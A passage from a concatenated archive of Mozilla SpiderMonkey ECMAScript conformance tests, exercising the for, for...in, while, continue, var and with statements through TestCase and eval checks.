BUGNUMBER="http://scopus.mcom.com/bugsplat/show_bug.cgi?id=344855"; writeHeaderToLog( SECTION + " "+ TITLE); // for ( LeftHandSideExpression in Expression ) // LeftHandSideExpression:NewExpression:MemberExpression var o = new MyObject(); var result = 0; for ( MyObject in o ) { result += o[MyObject]; } new TestCase( SECTION, "for ( MyObject in o ) { result += o[MyObject] }", 6, result ); var result = 0; for ( value in o ) { result += o[value]; } new TestCase( SECTION, "for ( value in o ) { result += o[value]", 6, result ); var value = "value"; var result = 0; for ( value in o ) { result += o[value]; } new TestCase( SECTION, "value = \"value\"; for ( value in o ) { result += o[value]", 6, result ); var value = 0; var result = 0; for ( value in o ) { result += o[value]; } new TestCase( SECTION, "value = 0; for ( value in o ) { result += o[value]", 6, result ); // this causes a segv var ob = { 0:"hello" }; var result = 0; for ( ob[0] in o ) { result += o[ob[0]]; } new TestCase( SECTION, "ob = { 0:\"hello\" }; for ( ob[0] in o ) { result += o[ob[0]]", 6, result ); var result = 0; for ( ob["0"] in o ) { result += o[ob["0"]]; } new TestCase( SECTION, "value = 0; for ( ob[\"0\"] in o ) { result += o[o[\"0\"]]", 6, result ); var result = 0; var ob = { value:"hello" }; for ( ob[value] in o ) { result += o[ob[value]]; } new TestCase( SECTION, "ob = { 0:\"hello\" }; for ( ob[value] in o ) { result += o[ob[value]]", 6, result ); var result = 0; for ( ob["value"] in o ) { result += o[ob["value"]]; } new TestCase( SECTION, "value = 0; for ( ob[\"value\"] in o ) { result += o[ob[\"value\"]]", 6, result ); var result = 0; for ( ob.value in o ) { result += o[ob.value]; } new TestCase( SECTION, "value = 0; for ( ob.value in o ) { result += o[ob.value]", 6, result ); // LeftHandSideExpression:NewExpression:MemberExpression [ Expression ] // LeftHandSideExpression:NewExpression:MemberExpression . Identifier // LeftHandSideExpression:NewExpression:new MemberExpression Arguments // LeftHandSideExpression:NewExpression:PrimaryExpression:( Expression ) // LeftHandSideExpression:CallExpression:MemberExpression Arguments // LeftHandSideExpression:CallExpression Arguments // LeftHandSideExpression:CallExpression [ Expression ] // LeftHandSideExpression:CallExpression . Identifier test(); function MyObject() { this.value = 2; this[0] = 4; return this; } mozjs17.0.0/js/src/tests/ecma/Statements/12.2-1.js0000664000175000017500000000277412106270663021272 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.2-1.js ECMA Section: The variable statement Description: If the variable statement occurs inside a FunctionDeclaration, the variables are defined with function-local scope in that function, as described in section 10.1.3. Otherwise, they are defined with global scope, that is, they are created as members of the global object, as described in section 0. Variables are created when the execution scope is entered. A Block does not define a new execution scope. Only Program and FunctionDeclaration produce a new scope. Variables are initialized to the undefined value when created. A variable with an Initializer is assigned the value of its AssignmentExpression when the VariableStatement is executed, not when the variable is created. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "12.2-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The variable statement"; writeHeaderToLog( SECTION +" "+ TITLE); new TestCase( "SECTION", "var x = 3; function f() { var a = x; var x = 23; return a; }; f()", void 0, eval("var x = 3; function f() { var a = x; var x = 23; return a; }; f()") ); test(); mozjs17.0.0/js/src/tests/ecma/Statements/12.6.3-6-n.js0000664000175000017500000000467512106270663021701 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.3-1.js ECMA Section: 12.6.3 The for...in Statement Description: The production IterationStatement : for ( LeftHandSideExpression in Expression ) Statement is evaluated as follows: 1. Evaluate the Expression. 2. Call GetValue(Result(1)). 3. Call ToObject(Result(2)). 4. Let C be "normal completion". 5. Get the name of the next property of Result(3) that doesn't have the DontEnum attribute. If there is no such property, go to step 14. 6. Evaluate the LeftHandSideExpression ( it may be evaluated repeatedly). 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ): 1. If Type(V) is not Reference, generate a runtime error. 2. Call GetBase(V). 3. If Result(2) is null, go to step 6. 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V) for the property name and W for the value. 5. Return. 6. Call the [[Put]] method for the global object, passing GetPropertyName(V) for the property name and W for the value. 7. Return. 8. Evaluate Statement. 9. If Result(8) is a value completion, change C to be "normal completion after value V" where V is the value carried by Result(8). 10. If Result(8) is a break completion, go to step 14. 11. If Result(8) is a continue completion, go to step 5. 12. If Result(8) is a return completion, return Result(8). 13. Go to step 5. 14. Return C. Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "12.6.3-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for..in statement"; writeHeaderToLog( SECTION + " "+ TITLE); // for ( LeftHandSideExpression in Expression ) // LeftHandSideExpression:NewExpression:MemberExpression DESCRIPTION = "bad left-hand side expression"; EXPECTED = "error"; new TestCase( SECTION, "bad left-hand side expression", "error", eval("var o = new MyObject(); var result = 0; for ( this in o) { result += this[p]; }") ); /* var o = new MyObject(); var result = 0; for ( this in o) { result += this[p]; } */ test(); function MyObject() { this.value = 2; this[0] = 4; return this; } mozjs17.0.0/js/src/tests/ecma/Statements/12.6.3-9-n.js0000664000175000017500000000467012106270663021677 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.3-9-n.js ECMA Section: 12.6.3 The for...in Statement Description: The production IterationStatement : for ( LeftHandSideExpression in Expression ) Statement is evaluated as follows: 1. Evaluate the Expression. 2. Call GetValue(Result(1)). 3. Call ToObject(Result(2)). 4. Let C be "normal completion". 5. Get the name of the next property of Result(3) that doesn't have the DontEnum attribute. If there is no such property, go to step 14. 6. Evaluate the LeftHandSideExpression ( it may be evaluated repeatedly). 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ): 1. If Type(V) is not Reference, generate a runtime error. 2. Call GetBase(V). 3. If Result(2) is null, go to step 6. 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V) for the property name and W for the value. 5. Return. 6. Call the [[Put]] method for the global object, passing GetPropertyName(V) for the property name and W for the value. 7. Return. 8. Evaluate Statement. 9. If Result(8) is a value completion, change C to be "normal completion after value V" where V is the value carried by Result(8). 10. If Result(8) is a break completion, go to step 14. 11. If Result(8) is a continue completion, go to step 5. 12. If Result(8) is a return completion, return Result(8). 13. Go to step 5. 14. Return C. Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "12.6.3-9-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for..in statement"; writeHeaderToLog( SECTION + " "+ TITLE); // for ( LeftHandSideExpression in Expression ) // LeftHandSideExpression:NewExpression:MemberExpression DESCRIPTION = "object is not defined"; EXPECTED = "error"; new TestCase( SECTION, "object is not defined", "error", eval("var o = new MyObject(); var result = 0; for ( var o in foo) { result += this[o]; } ") ); /* var o = new MyObject(); var result = 0; for ( var o in foo) { result += this[o]; } */ test(); function MyObject() { this.value = 2; this[0] = 4; return this; } mozjs17.0.0/js/src/tests/ecma/Statements/12.6.2-3.js0000664000175000017500000000161112106270663021425 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.2-3.js ECMA Section: 12.6.2 The for Statement 1. first expression is not present. 2. second expression is present 3. third expression is present Author: christine@netscape.com Date: 15 september 1997 */ var SECTION = "12.6.2-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for statement"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "for statement", 100, testprogram() ); test(); function testprogram() { myVar = 0; for ( ; myVar < 100 ; myVar++ ) { continue; } return myVar; } mozjs17.0.0/js/src/tests/ecma/Statements/12.6.2-8.js0000664000175000017500000000160512106270663021435 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.2-8.js ECMA Section: 12.6.2 The for Statement 1. first expression is present. 2. second expression is present 3. third expression is present Author: christine@netscape.com Date: 15 september 1997 */ var SECTION = "12.6.2-8"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for statement"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "for statement", 256, testprogram() ); test(); function testprogram() { var myVar; for ( myVar=2; myVar < 256; myVar *= myVar ) { } return myVar; } mozjs17.0.0/js/src/tests/ecma/Statements/12.6.2-9-n.js0000664000175000017500000000160012106270663021664 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.2-9-n.js ECMA Section: 12.6.2 The for Statement 1. first expression is not present. 2. second expression is not present 3. third expression is not present Author: christine@netscape.com Date: 15 september 1997 */ var SECTION = "12.6.2-9-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for statement"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "for (i)"; EXPECTED = "error"; new TestCase( SECTION, "for (i)", "error", eval("for (i) { }") ); /* for (i) { } */ test(); mozjs17.0.0/js/src/tests/ecma/Statements/12.6.3-19.js0000664000175000017500000000574612106270663021532 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.3-1.js ECMA Section: 12.6.3 The for...in Statement Description: The production IterationStatement : for ( LeftHandSideExpression in Expression ) Statement is evaluated as follows: 1. Evaluate the Expression. 2. Call GetValue(Result(1)). 3. Call ToObject(Result(2)). 4. Let C be "normal completion". 5. Get the name of the next property of Result(3) that doesn't have the DontEnum attribute. If there is no such property, go to step 14. 6. Evaluate the LeftHandSideExpression (it may be evaluated repeatedly). 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ): 1. If Type(V) is not Reference, generate a runtime error. 2. Call GetBase(V). 3. If Result(2) is null, go to step 6. 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V) for the property name and W for the value. 5. Return. 6. Call the [[Put]] method for the global object, passing GetPropertyName(V) for the property name and W for the value. 7. Return. 8. Evaluate Statement. 9. If Result(8) is a value completion, change C to be "normal completion after value V" where V is the value carried by Result(8). 10. If Result(8) is a break completion, go to step 14. 11. If Result(8) is a continue completion, go to step 5. 12. If Result(8) is a return completion, return Result(8). 13. Go to step 5. 14. Return C. Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "12.6.3-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for..in statement"; writeHeaderToLog( SECTION + " "+ TITLE); // for ( LeftHandSideExpression in Expression ) // LeftHandSideExpression:NewExpression:MemberExpression var count = 0; function f() { count++; return new Array("h","e","l","l","o"); } var result = ""; for ( p in f() ) { result += f()[p] }; new TestCase( SECTION, "count = 0; result = \"\"; "+ "function f() { count++; return new Array(\"h\",\"e\",\"l\",\"l\",\"o\"); }"+ "for ( p in f() ) { result += f()[p] }; count", 6, count ); new TestCase( SECTION, "result", "hello", result ); // LeftHandSideExpression:NewExpression:MemberExpression [ Expression ] // LeftHandSideExpression:NewExpression:MemberExpression . Identifier // LeftHandSideExpression:NewExpression:new MemberExpression Arguments // LeftHandSideExpression:NewExpression:PrimaryExpression:( Expression ) // LeftHandSideExpression:CallExpression:MemberExpression Arguments // LeftHandSideExpression:CallExpression Arguments // LeftHandSideExpression:CallExpression [ Expression ] // LeftHandSideExpression:CallExpression . Identifier test(); mozjs17.0.0/js/src/tests/ecma/Statements/browser.js0000664000175000017500000000000012106270663022211 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Statements/12.6.3-10.js0000664000175000017500000000574612106270663021521 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.3-10.js ECMA Section: 12.6.3 The for...in Statement Description: The production IterationStatement : for ( LeftHandSideExpression in Expression ) Statement is evaluated as follows: 1. Evaluate the Expression. 2. Call GetValue(Result(1)). 3. Call ToObject(Result(2)). 4. Let C be "normal completion". 5. Get the name of the next property of Result(3) that doesn't have the DontEnum attribute. If there is no such property, go to step 14. 6. Evaluate the LeftHandSideExpression (it may be evaluated repeatedly). 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ): 1. If Type(V) is not Reference, generate a runtime error. 2. Call GetBase(V). 3. If Result(2) is null, go to step 6. 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V) for the property name and W for the value. 5. Return. 6. Call the [[Put]] method for the global object, passing GetPropertyName(V) for the property name and W for the value. 7. Return. 8. Evaluate Statement. 9. If Result(8) is a value completion, change C to be "normal completion after value V" where V is the value carried by Result(8). 10. If Result(8) is a break completion, go to step 14. 11. If Result(8) is a continue completion, go to step 5. 12. If Result(8) is a return completion, return Result(8). 13. Go to step 5. 14. Return C. Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "12.6.3-10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for..in statement"; writeHeaderToLog( SECTION + " "+ TITLE); // for ( LeftHandSideExpression in Expression ) // LeftHandSideExpression:NewExpression:MemberExpression var count = 0; function f() { count++; return new Array("h","e","l","l","o"); } var result = ""; for ( p in f() ) { result += f()[p] }; new TestCase( SECTION, "count = 0; result = \"\"; "+ "function f() { count++; return new Array(\"h\",\"e\",\"l\",\"l\",\"o\"); }"+ "for ( p in f() ) { result += f()[p] }; count", 6, count ); new TestCase( SECTION, "result", "hello", result ); // LeftHandSideExpression:NewExpression:MemberExpression [ Expression ] // LeftHandSideExpression:NewExpression:MemberExpression . Identifier // LeftHandSideExpression:NewExpression:new MemberExpression Arguments // LeftHandSideExpression:NewExpression:PrimaryExpression:( Expression ) // LeftHandSideExpression:CallExpression:MemberExpression Arguments // LeftHandSideExpression:CallExpression Arguments // LeftHandSideExpression:CallExpression [ Expression ] // LeftHandSideExpression:CallExpression . Identifier test(); mozjs17.0.0/js/src/tests/ecma/Statements/12.6.3-2.js0000664000175000017500000000151412106270663021427 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.3-2.js ECMA Section: 12.6.3 The for...in Statement Description: Check the Boolean Object Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "12.6.3-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for..in statement"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Boolean.prototype.foo = 34; for ( j in Boolean ) Boolean[j]", 34, eval("Boolean.prototype.foo = 34; for ( j in Boolean ) Boolean[j] ") ); test(); mozjs17.0.0/js/src/tests/ecma/Statements/12.6.1-1.js0000664000175000017500000000246212106270663021427 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.1-1.js ECMA Section: The while statement Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "12.6.1-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The While statement"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var MYVAR = 0; while( MYVAR++ < 100) { if ( MYVAR < 100 ) break; } MYVAR ", 1, eval("var MYVAR = 0; while( MYVAR++ < 100) { if ( MYVAR < 100 ) break; } MYVAR ")); new TestCase( SECTION, "var MYVAR = 0; while( MYVAR++ < 100) { if ( MYVAR < 100 ) continue; else break; } MYVAR ", 100, eval("var MYVAR = 0; while( MYVAR++ < 100) { if ( MYVAR < 100 ) continue; else break; } MYVAR ")); new TestCase( SECTION, "function MYFUN( arg1 ) { while ( arg1++ < 100 ) { if ( arg1 < 100 ) return arg1; } }; MYFUN(1)", 2, eval("function MYFUN( arg1 ) { while ( arg1++ < 100 ) { if ( arg1 < 100 ) return arg1; } }; MYFUN(1)")); test(); mozjs17.0.0/js/src/tests/ecma/Statements/12.6.2-4.js0000664000175000017500000000157412106270663021436 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.2-4.js ECMA Section: 12.6.2 The for Statement 1. first expression is not present. 2. second expression is present 3. third expression is present Author: christine@netscape.com Date: 15 september 1997 */ var SECTION = "12.6.2-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for statement"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "for statement", 100, testprogram() ); test(); function testprogram() { myVar = 0; for ( ; myVar < 100 ; myVar++ ) { } return myVar; } mozjs17.0.0/js/src/tests/ecma/Statements/12.6.2-1.js0000664000175000017500000000163112106270663021425 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.2-1.js ECMA Section: 12.6.2 The for Statement 1. first expression is not present. 2. second expression is not present 3. third expression is not present Author: christine@netscape.com Date: 15 september 1997 */ var SECTION = "12.6.2-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for statement"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( "12.6.2-1", "for statement", 99, testprogram() ); test(); function testprogram() { myVar = 0; for ( ; ; ) { if ( ++myVar == 99 ) break; } return myVar; } mozjs17.0.0/js/src/tests/ecma/Statements/12.6.3-7-n.js0000664000175000017500000000467712106270663021704 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.3-1.js ECMA Section: 12.6.3 The for...in Statement Description: The production IterationStatement : for ( LeftHandSideExpression in Expression ) Statement is evaluated as follows: 1. Evaluate the Expression. 2. Call GetValue(Result(1)). 3. Call ToObject(Result(2)). 4. Let C be "normal completion". 5. Get the name of the next property of Result(3) that doesn't have the DontEnum attribute. If there is no such property, go to step 14. 6. Evaluate the LeftHandSideExpression ( it may be evaluated repeatedly). 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ): 1. If Type(V) is not Reference, generate a runtime error. 2. Call GetBase(V). 3. If Result(2) is null, go to step 6. 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V) for the property name and W for the value. 5. Return. 6. Call the [[Put]] method for the global object, passing GetPropertyName(V) for the property name and W for the value. 7. Return. 8. Evaluate Statement. 9. If Result(8) is a value completion, change C to be "normal completion after value V" where V is the value carried by Result(8). 10. If Result(8) is a break completion, go to step 14. 11. If Result(8) is a continue completion, go to step 5. 12. If Result(8) is a return completion, return Result(8). 13. Go to step 5. 14. Return C. Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "12.6.3-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for..in statement"; writeHeaderToLog( SECTION + " "+ TITLE); // for ( LeftHandSideExpression in Expression ) // LeftHandSideExpression:NewExpression:MemberExpression DESCRIPTION = "bad left-hand side expression"; EXPECTED = "error"; new TestCase( SECTION, "bad left-hand side expression", "error", eval("var o = new MyObject(); var result = 0; for ( \"a\" in o) { result += this[p]; } ") ); /* var o = new MyObject(); var result = 0; for ( "a" in o) { result += this[p]; } */ test(); function MyObject() { this.value = 2; this[0] = 4; return this; } mozjs17.0.0/js/src/tests/ecma/Statements/12.6.3-5-n.js0000664000175000017500000000472012106270663021667 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.3-1.js ECMA Section: 12.6.3 The for...in Statement Description: The production IterationStatement : for ( LeftHandSideExpression in Expression ) Statement is evaluated as follows: 1. Evaluate the Expression. 2. Call GetValue(Result(1)). 3. Call ToObject(Result(2)). 4. Let C be "normal completion". 5. Get the name of the next property of Result(3) that doesn't have the DontEnum attribute. If there is no such property, go to step 14. 6. Evaluate the LeftHandSideExpression ( it may be evaluated repeatedly). 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ): 1. If Type(V) is not Reference, generate a runtime error. 2. Call GetBase(V). 3. If Result(2) is null, go to step 6. 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V) for the property name and W for the value. 5. Return. 6. Call the [[Put]] method for the global object, passing GetPropertyName(V) for the property name and W for the value. 7. Return. 8. Evaluate Statement. 9. If Result(8) is a value completion, change C to be "normal completion after value V" where V is the value carried by Result(8). 10. If Result(8) is a break completion, go to step 14. 11. If Result(8) is a continue completion, go to step 5. 12. If Result(8) is a return completion, return Result(8). 13. Go to step 5. 14. Return C. Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "12.6.3-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for..in statement"; writeHeaderToLog( SECTION + " "+ TITLE); // for ( LeftHandSideExpression in Expression ) // LeftHandSideExpression:NewExpression:MemberExpression DESCRIPTION = "more than one member expression"; EXPECTED = "error"; new TestCase( SECTION, "more than one member expression", "error", eval("var o = new MyObject(); var result = 0; for ( var i, p in this) { result += this[p]; }") ); /* var o = new MyObject(); var result = 0; for ( var i, p in this) { result += this[p]; } */ test(); function MyObject() { this.value = 2; this[0] = 4; return this; } mozjs17.0.0/js/src/tests/ecma/Statements/12.6.2-5.js0000664000175000017500000000163412106270663021434 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.2-5.js ECMA Section: 12.6.2 The for Statement 1. first expression is not present. 2. second expression is present 3. third expression is present Author: christine@netscape.com Date: 15 september 1997 */ var SECTION = "12.6.2-5"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for statement"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "for statement", 99, testprogram() ); test(); function testprogram() { myVar = 0; for ( ; myVar < 100 ; myVar++ ) { if (myVar == 99) break; } return myVar; } mozjs17.0.0/js/src/tests/ecma/Statements/12.7-1-n.js0000664000175000017500000000136512106270663021525 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.7-1-n.js ECMA Section: 12.7 The continue statement Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "12.7.1-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The continue statement"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "continue"; EXPECTED = "error"; new TestCase( SECTION, "continue", "error", eval("continue") ); test(); mozjs17.0.0/js/src/tests/ecma/Statements/12.10-1.js0000664000175000017500000000710012106270663021335 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.10-1.js ECMA Section: 12.10 The with statement Description: WithStatement : with ( Expression ) Statement The with statement adds a computed object to the front of the scope chain of the current execution context, then executes a statement with this augmented scope chain, then restores the scope chain. Semantics The production WithStatement : with ( Expression ) Statement is evaluated as follows: 1. Evaluate Expression. 2. Call GetValue(Result(1)). 3. Call ToObject(Result(2)). 4. Add Result(3) to the front of the scope chain. 5. Evaluate Statement using the augmented scope chain from step 4. 6. Remove Result(3) from the front of the scope chain. 7. Return Result(5). Discussion Note that no matter how control leaves the embedded Statement, whether normally or by some form of abrupt completion, the scope chain is always restored to its former state. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "12.10-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The with statement"; writeHeaderToLog( SECTION + " "+ TITLE); // although the scope chain changes, the this value is immutable for a given // execution context. new TestCase( SECTION, "with( new Number() ) { this +'' }", GLOBAL, eval("with( new Number() ) { this +'' }") ); // the object's functions and properties should override those of the // global object. new TestCase( SECTION, "var MYOB = new WithObject(true); with (MYOB) { parseInt() }", true, eval("var MYOB = new WithObject(true); with (MYOB) { parseInt() }") ); new TestCase( SECTION, "var MYOB = new WithObject(false); with (MYOB) { NaN }", false, eval("var MYOB = new WithObject(false); with (MYOB) { NaN }") ); new TestCase( SECTION, "var MYOB = new WithObject(NaN); with (MYOB) { Infinity }", Number.NaN, eval("var MYOB = new WithObject(NaN); with (MYOB) { Infinity }") ); new TestCase( SECTION, "var MYOB = new WithObject(false); with (MYOB) { }; Infinity", Number.POSITIVE_INFINITY, eval("var MYOB = new WithObject(false); with (MYOB) { }; Infinity") ); new TestCase( SECTION, "var MYOB = new WithObject(0); with (MYOB) { delete Infinity; Infinity }", Number.POSITIVE_INFINITY, eval("var MYOB = new WithObject(0); with (MYOB) { delete Infinity; Infinity }") ); // let us leave the with block via a break. new TestCase( SECTION, "var MYOB = new WithObject(0); while (true) { with (MYOB) { Infinity; break; } } Infinity", Number.POSITIVE_INFINITY, eval("var MYOB = new WithObject(0); while (true) { with (MYOB) { Infinity; break; } } Infinity") ); test(); function WithObject( value ) { this.prop1 = 1; this.prop2 = new Boolean(true); this.prop3 = "a string"; this.value = value; // now we will override global functions this.parseInt = new Function( "return this.value" ); this.NaN = value; this.Infinity = value; this.unescape = new Function( "return this.value" ); this.escape = new Function( "return this.value" ); this.eval = new Function( "return this.value" ); this.parseFloat = new Function( "return this.value" ); this.isNaN = new Function( "return this.value" ); this.isFinite = new Function( "return this.value" ); } mozjs17.0.0/js/src/tests/ecma/Statements/12.6.3-8-n.js0000664000175000017500000000467312106270663021701 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 12.6.3-8-n.js ECMA Section: 12.6.3 The for...in Statement Description: The production IterationStatement : for ( LeftHandSideExpression in Expression ) Statement is evaluated as follows: 1. Evaluate the Expression. 2. Call GetValue(Result(1)). 3. Call ToObject(Result(2)). 4. Let C be "normal completion". 5. Get the name of the next property of Result(3) that doesn't have the DontEnum attribute. If there is no such property, go to step 14. 6. Evaluate the LeftHandSideExpression ( it may be evaluated repeatedly). 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ): 1. If Type(V) is not Reference, generate a runtime error. 2. Call GetBase(V). 3. If Result(2) is null, go to step 6. 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V) for the property name and W for the value. 5. Return. 6. Call the [[Put]] method for the global object, passing GetPropertyName(V) for the property name and W for the value. 7. Return. 8. Evaluate Statement. 9. If Result(8) is a value completion, change C to be "normal completion after value V" where V is the value carried by Result(8). 10. If Result(8) is a break completion, go to step 14. 11. If Result(8) is a continue completion, go to step 5. 12. If Result(8) is a return completion, return Result(8). 13. Go to step 5. 14. Return C. Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "12.6.3-4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The for..in statement"; writeHeaderToLog( SECTION + " "+ TITLE); // for ( LeftHandSideExpression in Expression ) // LeftHandSideExpression:NewExpression:MemberExpression DESCRIPTION = "bad left-hand side expression"; EXPECTED = "error"; new TestCase( SECTION, "bad left-hand side expression", "error", eval("var o = new MyObject(); var result = 0; for ( 1 in o) { result += this[p]; } ") ); /* var o = new MyObject(); var result = 0; for ( 1 in o) { result += this[p]; } */ test(); function MyObject() { this.value = 2; this[0] = 4; return this; } 